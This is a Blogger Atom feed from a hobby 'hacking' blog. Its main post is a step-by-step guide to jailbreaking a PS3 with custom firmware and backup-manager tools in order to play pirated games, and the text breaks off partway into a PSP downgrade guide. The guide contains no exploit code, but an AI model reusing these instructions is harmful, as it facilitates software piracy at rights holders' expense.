<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8981203489549642442</id><updated>2026-06-02T00:21:02.619-07:00</updated><category term="Cryptography"/><category term="EMAIL HACKING"/><category term="INTERNET SECURITY AND ETHICAL HACKING"/><category term="IP SPOOFING"/><category term="PASSWORD HACKING"/><category term="PRIVACY ATTACKS"/><title type='text'>Hacking Hippie </title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>41</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-6786589268416104473</id><published>2014-12-25T05:09:00.004-08:00</published><updated>2014-12-25T05:09:46.623-08:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: #3d85c6;&quot;&gt;MERRY CHRISTMAS FOLKS!&lt;/span&gt;&lt;/h2&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
-UNTAMED&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/6786589268416104473/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/6786589268416104473?isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6786589268416104473'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6786589268416104473'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2014/12/blog-post.html' title=''/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-3511039899741404176</id><published>2014-05-25T20:04:00.002-07:00</published><updated>2014-05-25T20:04:30.364-07:00</updated><title type='text'>Anouncement</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Dear all,&lt;br /&gt;
For a while I had my exams.From today I will be posting new papers on hacks and on gizmos!&lt;br /&gt;
Regards&lt;br /&gt;
untamed.&lt;br /&gt;
&amp;nbsp;PS:Downloads tab will also be included (or) improved..&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQk7XbBB82VcWGUIBQxVrGnZ_dtJxCa1hNHWVpvY2TNiIt2WR_wfBs66-3YaNG-aKyDl7IgxzBN3iRcQNZ7BcZboYRYRRrrV5XWQLx4XodTyayWxmZFvAX-FpXA3D5FfaL7TLO0us7me0/s1600/images.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQk7XbBB82VcWGUIBQxVrGnZ_dtJxCa1hNHWVpvY2TNiIt2WR_wfBs66-3YaNG-aKyDl7IgxzBN3iRcQNZ7BcZboYRYRRrrV5XWQLx4XodTyayWxmZFvAX-FpXA3D5FfaL7TLO0us7me0/s1600/images.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/3511039899741404176/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/3511039899741404176?isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/3511039899741404176'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/3511039899741404176'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2014/05/anouncement.html' title='Anouncement'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQk7XbBB82VcWGUIBQxVrGnZ_dtJxCa1hNHWVpvY2TNiIt2WR_wfBs66-3YaNG-aKyDl7IgxzBN3iRcQNZ7BcZboYRYRRrrV5XWQLx4XodTyayWxmZFvAX-FpXA3D5FfaL7TLO0us7me0/s72-c/images.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-7186446068588596801</id><published>2014-02-24T06:52:00.002-08:00</published><updated>2014-02-24T06:52:36.712-08:00</updated><title type='text'>Commment!!!!!!!!!!!</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4oevCPKW4gRHB4lvuvKRLp9ozOn3sebBdRgVbMbX0BaQy0RShbhfHpfSR4lJyDx0Ob7tCZ5RfXAUWVdpzO6I-65JZZS3hriSRnPbMtk7cCaw1PjRCEEAye3FjBh5jPy9u9c1pjt7qnzw/s1600/p0f.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4oevCPKW4gRHB4lvuvKRLp9ozOn3sebBdRgVbMbX0BaQy0RShbhfHpfSR4lJyDx0Ob7tCZ5RfXAUWVdpzO6I-65JZZS3hriSRnPbMtk7cCaw1PjRCEEAye3FjBh5jPy9u9c1pjt7qnzw/s1600/p0f.jpg&quot; height=&quot;320&quot; width=&quot;216&quot; /&gt;&lt;/a&gt;Fig:Just for sake of posting a pic..Never mind! :P&lt;/div&gt;
&lt;br /&gt;
Hmmmmmmmmmmm...........................&lt;br /&gt;
&lt;br /&gt;
``````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````````&lt;br /&gt;
Haha This is me....What!!!!!!! yeah I stopped posting hacking shit for few days wait months...All I just did is copying some crap and posting it on my blog yea I got 16600 page views and no comments WTF? so just comment whatever you feel.....&lt;br /&gt;
regards,&lt;br /&gt;
untamed.&lt;br /&gt;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/7186446068588596801/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/7186446068588596801?isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/7186446068588596801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/7186446068588596801'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2014/02/commment.html' title='Commment!!!!!!!!!!!'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4oevCPKW4gRHB4lvuvKRLp9ozOn3sebBdRgVbMbX0BaQy0RShbhfHpfSR4lJyDx0Ob7tCZ5RfXAUWVdpzO6I-65JZZS3hriSRnPbMtk7cCaw1PjRCEEAye3FjBh5jPy9u9c1pjt7qnzw/s72-c/p0f.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-4590232032771918345</id><published>2013-04-21T19:53:00.002-07:00</published><updated>2013-04-23T22:06:46.502-07:00</updated><title type='text'>How to hack PS3</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiENiu3K8GcEHhqJJNkrJ6CEec6QuiEPJBFlsh_YJBr1UBbiKtx1IEdkZpjKdJ7JarzZdLcaQExgn_UbnKLYp3e96EMsi_UILVVO0tPKBjI1hyphenhypheni7iGK_kXx6QgQPhDOFPbC36ajK22dwfI/s1600/PS38001374977_a2826448ed_k.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;241&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiENiu3K8GcEHhqJJNkrJ6CEec6QuiEPJBFlsh_YJBr1UBbiKtx1IEdkZpjKdJ7JarzZdLcaQExgn_UbnKLYp3e96EMsi_UILVVO0tPKBjI1hyphenhypheni7iGK_kXx6QgQPhDOFPbC36ajK22dwfI/s320/PS38001374977_a2826448ed_k.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h1 class=&quot;title&quot;&gt;
How to hack PS3 and play pirated games (100% Tested)&lt;/h1&gt;
Learn how to hack PS3.This is intended for all 
those who have problems with installing ps3 costum firmware. You do not 
need to own jailbrake stick, everything u need is usb with an least 256 
mb (fat32). I’ve tried several combinations and finally found the right 
one and I will share with you. Hope that you’ll have no problems with 
installation.&lt;br /&gt;
&lt;blockquote&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;TESTED 100% WORKING&lt;/b&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
First step&lt;/h2&gt;
First of all make sure you’re PS3 has 3.55 official firmware or older
 version. If is not, please downgrade to 3.55 first. Google it for how 
to install.&lt;br /&gt;
&lt;blockquote&gt;
Thanks to Zamp suggestion, as i forgot : You have to use 
signed pkg made for 3.55 or you will get error occurred during the 
install operation (80029567)&lt;/blockquote&gt;
Download link : &lt;a href=&quot;http://www.ps3-hacks.com/2011/01/19/kmeaw-3-55-custom-firmware-lv2-patches-with-peekpoke-included&quot;&gt;kmeaw CFW 3.55 Patched PUP&lt;/a&gt;&lt;br /&gt;
Create on the root of a USB (formatted FAT 32) the following folders: \PS3\UPDATE\&lt;br /&gt;
&lt;h2&gt;
Secound step&lt;/h2&gt;
Access to the Playstation recovery menu:&lt;br /&gt;
Turn off Plastation 3&lt;br /&gt;
Hold The power button down; The system will turn on and turn off once again.&lt;br /&gt;
Once the System has been shutdown, re-press you finger until you hear 2 consecutive beeps&lt;br /&gt;
You will be promted to plug in your controller via usb and then hit the PS button&lt;br /&gt;
The Recovery menu will pop up.&lt;br /&gt;
Go to System update &amp;gt; Update via Storage Media and instal kmeaw CFW 3.55&lt;br /&gt;
After reboot you should see the install package file and the app_home/PS3_GAME/ inside the Game Folder&lt;br /&gt;
&lt;h2&gt;
Last step&lt;/h2&gt;
Download &lt;a href=&quot;http://www.ps3-hacks.com/file/263&quot;&gt;lvl2 patcher (lvl2-v9.pkg)&lt;/a&gt; and &lt;a href=&quot;http://www.ps3-hacks.com/file/160&quot;&gt;multiman (1.16+)&lt;/a&gt;&lt;br /&gt;
Make sure to save the files on usb root directory&lt;br /&gt;
Navigate to install package file and install them (XMB)&lt;br /&gt;
And remember before run multiman make sure to run lvl2 patcher first&lt;br /&gt;
Load game from external or internal and enjoy! Easy done PS3 hacking!&lt;br /&gt;
&lt;div style=&quot;float: none; margin: 0px 0 0px 0; text-align: center;&quot;&gt;
&lt;ins style=&quot;border: none; display: inline-table; height: 90px; margin: 0; padding: 0; position: relative; visibility: visible; width: 728px;&quot;&gt;&lt;ins id=&quot;aswift_1_anchor&quot; style=&quot;border: none; display: block; height: 90px; margin: 0; padding: 0; position: relative; visibility: visible; width: 728px;&quot;&gt;&lt;/ins&gt;&lt;/ins&gt;&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
If u want to play ps3 games via portable usb hard drive&lt;/h2&gt;
-Make sure that is FAT32 and if is not you can convert from NTFS to 
FAT32 with Paragon Hard Disk Manager eazy and fast 
(http://www.paragon-software.com/home/hdm-personal/)&lt;br /&gt;
-Then download the game u want and add it to the following  folder \GAMEZ&lt;br /&gt;
-Game folder you downloaded must contain (BLES, BLUS) number. (ex. \GAMEZ\BLUS-30490)&lt;br /&gt;
list with numbers (http://sonyindex.com/)&lt;br /&gt;
-Start the game from  backup manager (eg. Multiman, Rogero) and enjoy.&lt;br /&gt;
&lt;h2&gt;
If u want to transfer games from PC to PS3 via FTP&lt;/h2&gt;
-First download filezila (http://filezilla-project.org/) and install to you’re Pc.&lt;br /&gt;
-Then download PS3 FTP Server (http://www.ps3-hacks.com/2010/09/07/ps3-ftp-server-released/) and install to you’re PS3&lt;br /&gt;
-Open FileZilla and press the ‘Site Manager’ button (Under ‘File’ in the
 top left hand corner) then press ‘New Site’ ant set up host: (view from
 ps3 FTP server) port: 21 server type: FTP Logon Type : Normal User: 
FTPD12345 pass: (leave blank)&lt;br /&gt;
-You will see a tab that says ‘Transfer Settings’. You want to limit the
 connections to 2 (One for browsing the PS3 and one for transferring.. 
If you set this to 1 you will only be able to browse the PS3 if you’re 
not transferring anything).&lt;br /&gt;
-hit Connect!&lt;br /&gt;
-Browse to folder (BLUSXXXX) on your PC and transfer the entire folder to /dev_hdd0/game/(BUM DISC ID)/GAMEZ on your PS3&lt;br /&gt;
Start the game from  backup manager (eg. Multiman, Rogero) and enjoy.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/4590232032771918345/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/4590232032771918345?isPopup=true' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4590232032771918345'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4590232032771918345'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2013/04/how-to-hack-ps3.html' title='How to hack PS3'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiENiu3K8GcEHhqJJNkrJ6CEec6QuiEPJBFlsh_YJBr1UBbiKtx1IEdkZpjKdJ7JarzZdLcaQExgn_UbnKLYp3e96EMsi_UILVVO0tPKBjI1hyphenhypheni7iGK_kXx6QgQPhDOFPbC36ajK22dwfI/s72-c/PS38001374977_a2826448ed_k.jpg" height="72" width="72"/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-7536187333601601743</id><published>2013-04-18T22:22:00.004-07:00</published><updated>2013-04-18T22:22:42.905-07:00</updated><title type='text'>How To hack psp</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h3 itemprop=&quot;description&quot; style=&quot;text-align: left;&quot;&gt;
This is a guide on how to alter a PSP by downgrading its software. This &lt;b&gt;only works&lt;/b&gt;
 on P.S.P.S. software versions 2.0 and earlier. However Above firmwares 
can use Pandora&#39;s battery to un-brick, downgrade and install custom 
firmware. &lt;/h3&gt;
&lt;div class=&quot;ad_image low&quot; style=&quot;text-align: left;&quot;&gt;
&lt;div class=&quot;wh_ad&quot;&gt;
&lt;div class=&quot;wh_ad_inner adunitintro&quot;&gt;
&lt;h3&gt;

&lt;ins style=&quot;border: medium none; display: inline-table; height: 60px; margin: 0pt; padding: 0pt; position: relative; visibility: visible; width: 468px;&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;data:image/png;base64,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